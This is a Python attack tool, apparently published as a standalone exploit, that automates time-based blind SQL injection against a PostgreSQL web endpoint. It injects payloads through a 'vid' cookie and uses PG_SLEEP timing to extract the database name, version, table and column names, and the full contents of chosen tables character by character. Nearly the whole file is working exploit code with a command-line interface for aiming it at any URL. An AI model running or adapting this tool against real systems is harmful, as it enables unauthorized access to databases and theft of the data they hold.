exploit.py

import requests
import string
import uuid
import time
import argparse
from prettytable import PrettyTable

# ASCII Art
ascii_art = r"""


███████╗██╗     ███████╗███████╗██████╗     ███████╗████████╗ █████╗ ██╗     ██╗  ██╗███████╗██████╗ 
██╔════╝██║     ██╔════╝██╔════╝██╔══██╗    ██╔════╝╚══██╔══╝██╔══██╗██║     ██║ ██╔╝██╔════╝██╔══██╗
███████╗██║     █████╗  █████╗  ██████╔╝    ███████╗   ██║   ███████║██║     █████╔╝ █████╗  ██████╔╝
╚════██║██║     ██╔══╝  ██╔══╝  ██╔═══╝     ╚════██║   ██║   ██╔══██║██║     ██╔═██╗ ██╔══╝  ██╔══██╗
███████║███████╗███████╗███████╗██║         ███████║   ██║   ██║  ██║███████╗██║  ██╗███████╗██║  ██║
╚══════╝╚══════╝╚══════╝╚══════╝╚═╝         ╚══════╝   ╚═╝   ╚═╝  ╚═╝╚══════╝╚═╝  ╚═╝╚══════╝╚═╝  ╚═╝ 
                                                       
                                                                                       - BY: DC7760

"""

# Print ASCII Art
print(ascii_art)

# Character set to use for brute-forcing
charset = string.printable.replace("\n", "").replace("\r", "")

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36",
    "Accept": "*/*",
    "Connection": "close"
}

# Function to check if the URL is reachable or not
def check_url(url):
    try:
        # Make a GET request to the URL
        response = requests.get(url)
        
        # Check if the response status code is 200
        if response.status_code == 200:
            # Check if "true" or "false" is in the response text
            if "true" in response.text.lower() or "false" in response.text.lower():
                return True
            else:
                return False  # Response text does not contain "true" or "false"
        else:
            print("URL is invalid or unreachable !")
            return False  # Non-200 status code
        
    except requests.RequestException:
        return False  # URL is invalid or unreachable

    
# Function to check if the SQL injection payload causes the desired delay
def check_payload(vid,url,payload, sleep_time=3):
    cookies = {"vid": f"{vid}{payload}"}
    try:
        start_time = time.time()
        response = requests.get(url, headers=headers, cookies=cookies)
        end_time = time.time()
        return end_time - start_time >= sleep_time
    except requests.RequestException as e:
        print(f"Request error: {e}")
        return False

# Function to extract the database name
def extract_database_name(vid,url):
    db_name = ""
    position = 1  # Start position
    print("\n[*] Extracting Database name: ", end="", flush=True)
    
    while True:
        char_found = False  # Flag to check if any character is found at this position

        for char in charset:
            # Create the payload to test if the character at the current position is correct
            payload = f"' OR (SELECT substring(current_database(), {position}, 1)) = '{char}' AND 1=(SELECT 1 FROM PG_SLEEP(3))--"

            # Check if the payload causes the delay
            if check_payload(url,vid,payload):
                db_name += char
                char_found = True
                print(char, end="", flush=True)  # Print each character without a newline
                break
        
        if not char_found:  # If no matching character was found, break the loop (end of version string)
            break
        position += 1  # Increment position for the next character
    
    return db_name

# Function to extract the database version
def extract_version(vid,url,max_length=15):
    version = ""
    position = 1  # Start position
    print("\n[*] Extracting Database version: ", end="", flush=True)
    
    while len(version) < max_length:
        char_found = False  # Flag to check if any character is found at this position

        for char in charset:
            # Create the payload to test if the character at the current position is correct
            payload = f"' OR (SELECT substring(version(), {position}, 1)) = '{char}' AND 1=(SELECT 1 FROM PG_SLEEP(3))--"

            # Check if the payload causes the delay
            if check_payload(url,vid,payload):
                version += char
                char_found = True
                print(char, end="", flush=True)  # Print each character without a newline
                break
        
        if not char_found:  # If no matching character was found, break the loop (end of version string)
            break
        position += 1  # Increment position for the next character
    
    return version


# Function to find the number of tables
def find_number_of_tables(vid,url):
    print("\n[*] Finding number of tables...")
    number_of_tables = ""
    
    for position in range(1, 5):  # Assuming the number of tables is within 4 digits
        for digit in string.digits:
            payload = (
                f"' OR (SELECT substring(CAST((SELECT COUNT(*) FROM information_schema.tables "
                f"WHERE table_schema = current_schema()) AS TEXT), {position}, 1)) = '{digit}' "
                f"AND 1=(SELECT 1 FROM PG_SLEEP(3))--"
            )
            if check_payload(url,vid,payload):
                number_of_tables += digit
                break
        else:
            break
    print("[+] Number of tables found: "+number_of_tables)
    return int(number_of_tables) if number_of_tables else 0

# Function to find the number of rows in a table
def find_number_of_rows(vid,url,table_name):
    print("\n[*] Finding number of rows...")
    number_of_rows = ""
    position = 1
    while True:
        char_found = False
        for char in string.digits:
            # Payload to check the number of rows in the table
            payload = (
                f"' OR (SELECT substring(CAST((SELECT COUNT(*) FROM {table_name}) AS text), {position}, 1)) = '{char}' "
                f"AND 1=(SELECT 1 FROM PG_SLEEP(3))--"
            )
            if check_payload(url,vid,payload):
                number_of_rows += char
                char_found = True
                break
        if not char_found:
            break
        position += 1
    print(f"[+] Found {number_of_rows} rows in table {table_name}")
    return int(number_of_rows) if number_of_rows else 0

# Function to find the number of columns in a table
def find_number_of_columns(vid,url,table_name):
    print(f"\n[*] Finding number of columns for table {table_name}...")
    number_of_columns = ""
    position = 1
    while True:
        char_found = False
        for char in string.digits:
            # Payload to check the number of columns in the table
            payload = (
                f"' OR (SELECT substring(CAST((SELECT COUNT(*) FROM information_schema.columns "
                f"WHERE table_name = '{table_name}' AND table_schema = current_schema()) AS TEXT), {position}, 1)) = '{char}' "
                f"AND 1=(SELECT 1 FROM PG_SLEEP(3))--"
            )
            if check_payload(url,vid,payload):
                number_of_columns += char
                char_found = True
                break
        if not char_found:
            break
        position += 1
    print(f"[+] Found {number_of_columns} columns in table {table_name}")
    return int(number_of_columns) if number_of_columns else 0

# Function to find the column names of a table
def find_column_names(vid,url,table_name, column_count):
    print(f"\n[*] Finding column names for table {table_name}...")
    column_names = []
    for column_offset in range(column_count):
        column_name = ""
        position = 1
        while True:
            char_found = False
            for char in charset:
                # Payload to extract column name
                payload = (
                    f"' OR (SELECT substring((SELECT column_name FROM information_schema.columns "
                    f"WHERE table_name = '{table_name}' AND table_schema = current_schema() "
                    f"ORDER BY column_name LIMIT 1 OFFSET {column_offset}), {position}, 1)) = '{char}' "
                    f"AND 1=(SELECT 1 FROM PG_SLEEP(3))--"
                )
                if check_payload(url,vid,payload):
                    column_name += char
                    char_found = True
                    break
            if not char_found:
                if column_name:
                    column_names.append(column_name) # Append full column name when found
                break
            position += 1
    # Create a PrettyTable for the columns and print them
    column_table = PrettyTable()
    column_table.field_names = ["Column Names"]
    
    for col_name in column_names:
        column_table.add_row([col_name])
    
    print(f"\n[+] Columns Found in table {table_name}:")
    print(column_table)
    return column_names

# Function to find the table names in the database
def find_table_names(vid,url,number_of_tables):
    table_names = []
    for table_offset in range(number_of_tables):
        table_name = ""
        position = 1
        while True:
            char_found = False
            for char in charset:
                # Payload to extract table name
                payload = (
                    f"' OR (SELECT substring((SELECT table_name FROM information_schema.tables "
                    f"WHERE table_schema = current_schema() ORDER BY table_name LIMIT 1 OFFSET {table_offset}), {position}, 1)) = '{char}' "
                    f"AND 1=(SELECT 1 FROM PG_SLEEP(3))--"
                )
                if check_payload(url,vid,payload):
                    table_name += char
                    char_found = True
                    break
            if not char_found:
                if table_name:
                    table_names.append(table_name) # Append full table name when found
                break
            position += 1
    return table_names

# Function to fetch table data (rows and columns) and display it using PrettyTable
def fetch_table_data(vid,url,table_name):
    print(f"\n[*] Extracting data of Table {table_name}...")
    
    number_of_rows = find_number_of_rows(vid,url,table_name)
    column_names = find_column_names(vid,url,table_name, find_number_of_columns(vid,url,table_name))
    
    print("\n[*] Extracting data, Please wait...")
    if number_of_rows > 0 and column_names:
        # Create PrettyTable and set column names
        table = PrettyTable()
        table.field_names = column_names

        for offset in range(number_of_rows):
            data_row = []
            for column in column_names:
                data_value = ""
                position = 1
                while True:
                    char_found = False
                    for char in charset:
                        # Payload to extract cell data one character at a time
                        payload = (
                            f"' OR (SELECT substring(CAST((SELECT {column} FROM {table_name} LIMIT 1 OFFSET {offset}) AS TEXT), {position}, 1)) = '{char}' "
                            f"AND 1=(SELECT 1 FROM PG_SLEEP(5))--"
                        )
                        if check_payload(url,vid,payload):
                            data_value += char
                            char_found = True
                            break
                    if not char_found:
                        break
                    position += 1
                data_row.append(data_value)

            table.add_row(data_row)

            
            print(table)  # Print the updated table
            if offset < number_of_rows - 1:
                print(f"\n[*] Fetching more data from '{table_name}'...")
            print()  
            time.sleep(0.5)  # Add a small delay for readability
        print(f"\n[+] Data extraction complete for table '{table_name}'.")
    else:
        print("[-] No data found.")

# Main function to run the script based on user input
def main():
    parser = argparse.ArgumentParser(description='A Python3 Script to exploit Time-based SQL Injection and Automate Data Extraction.')
    parser.add_argument('url', type=str, help="Target URL along with the API path")
    parser.add_argument('-T', '--table', type=str, help='To Extract data from a specified table')
    parser.add_argument('-D', '--db', action='store_true', help='To Extract the database name')
    parser.add_argument('-V', '--version', action='store_true', help='To Extract the database version')
    parser.add_argument('-I', '--info', action='store_true', help='To Extract database information: table names and column names')

    args = parser.parse_args()

    url = args.url
    vid = str(uuid.uuid4())

    if not check_url(url):
        return

    if args.db:
        db_name = extract_database_name(url,vid)
        print(f"\n[+] Final Database Name: {db_name}")
    
    elif args.version:
        version = extract_version(url,vid)
        print(f"\n[+] Final Database Version: {version}")
    
    elif args.table:
        table_name = args.table
        fetch_table_data(url,vid,table_name)
    
    elif args.info:
        print("[*] Extracting Database Information...")
        # Step 1: Find the number of tables
        num_tables = find_number_of_tables(url,vid)
    
        # Step 2: Find table names based on the number of tables found
        print("\n[*] Finding Table names...")
        if num_tables > 0:
            tables = find_table_names(url,vid,num_tables)
        
            # Print tables in a formatted table
            table_results = PrettyTable()
            table_results.field_names = ["Table Name"]
            for table in tables:
                table_results.add_row([table])
            print("\n[+] Final tables are:")
            print(table_results)
        
            # Step 3: For each table, find the number of columns and the column names
            
            column_results = PrettyTable()
            column_results.field_names = ["Table Name", "Column Name"]
        
            for table in tables:
                num_columns = find_number_of_columns(url,vid,table)
                if num_columns > 0:
                    columns = find_column_names(url,vid,table, num_columns)
                
                    for column in columns:
                        column_results.add_row([table, column])
        
            # Print columns in a formatted table
            print("\n[+] Columns for each table:")
            print(column_results)
        else:
            print("\n[-] No tables found.")
    
    else:

        print("[-] Please specify either -T <table_name>, -D for database name extraction, -V for version extraction, or -I for information extraction")
        print("[-] Run with -h for help")

if __name__ == "__main__":
    main()